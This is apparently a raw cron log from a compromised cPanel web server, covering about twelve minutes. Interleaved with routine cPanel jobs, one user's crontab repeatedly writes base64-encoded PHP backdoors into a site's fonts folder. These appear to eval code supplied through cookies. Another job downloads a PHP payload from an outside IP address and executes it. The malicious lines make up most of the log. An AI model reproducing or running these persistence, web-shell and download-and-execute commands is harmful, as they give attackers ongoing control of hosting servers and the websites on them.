Sep 12 04:41:01 ip-184-168-122-23 CROND[28346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:41:01 ip-184-168-122-23 CROND[28347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:42:01 ip-184-168-122-23 CROND[28445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:42:01 ip-184-168-122-23 CROND[28444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:42:01 ip-184-168-122-23 CROND[28443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:42:01 ip-184-168-122-23 CROND[28446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:42:01 ip-184-168-122-23 CROND[28447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:43:01 ip-184-168-122-23 CROND[28589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:43:01 ip-184-168-122-23 CROND[28590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:43:01 ip-184-168-122-23 CROND[28591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:43:01 ip-184-168-122-23 CROND[28593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:44:01 ip-184-168-122-23 CROND[28727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:44:01 ip-184-168-122-23 CROND[28728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:44:01 ip-184-168-122-23 CROND[28731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:44:01 ip-184-168-122-23 CROND[28732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:44:01 ip-184-168-122-23 CROND[28733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:45:01 ip-184-168-122-23 CROND[28913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:45:01 ip-184-168-122-23 CROND[28914]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 12 04:45:01 ip-184-168-122-23 CROND[28915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:45:01 ip-184-168-122-23 CROND[28919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:45:01 ip-184-168-122-23 CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:45:01 ip-184-168-122-23 CROND[28917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:45:01 ip-184-168-122-23 CROND[28920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:46:01 ip-184-168-122-23 CROND[29065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:46:01 ip-184-168-122-23 CROND[29064]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:46:01 ip-184-168-122-23 CROND[29066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:46:01 ip-184-168-122-23 CROND[29062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:46:01 ip-184-168-122-23 CROND[29063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:46:01 ip-184-168-122-23 CROND[29067]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 04:46:01 ip-184-168-122-23 CROND[29068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:47:01 ip-184-168-122-23 CROND[29349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:47:01 ip-184-168-122-23 CROND[29350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:47:01 ip-184-168-122-23 CROND[29353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:47:01 ip-184-168-122-23 CROND[29352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:48:01 ip-184-168-122-23 CROND[29539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:48:01 ip-184-168-122-23 CROND[29541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:48:01 ip-184-168-122-23 CROND[29540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:48:01 ip-184-168-122-23 CROND[29542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:48:01 ip-184-168-122-23 CROND[29538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:49:01 ip-184-168-122-23 CROND[29636]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 04:49:01 ip-184-168-122-23 CROND[29637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:49:01 ip-184-168-122-23 CROND[29639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:49:01 ip-184-168-122-23 CROND[29638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:49:01 ip-184-168-122-23 CROND[29640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:50:01 ip-184-168-122-23 CROND[29875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29881]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:50:01 ip-184-168-122-23 CROND[29883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:51:01 ip-184-168-122-23 CROND[30071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:51:01 ip-184-168-122-23 CROND[30072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:51:01 ip-184-168-122-23 CROND[30073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:51:01 ip-184-168-122-23 CROND[30075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:52:01 ip-184-168-122-23 CROND[30194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:52:01 ip-184-168-122-23 CROND[30196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:52:01 ip-184-168-122-23 CROND[30197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:52:01 ip-184-168-122-23 CROND[30195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:52:01 ip-184-168-122-23 CROND[30198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:53:01 ip-184-168-122-23 CROND[30328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:53:01 ip-184-168-122-23 CROND[30325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:53:01 ip-184-168-122-23 CROND[30326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
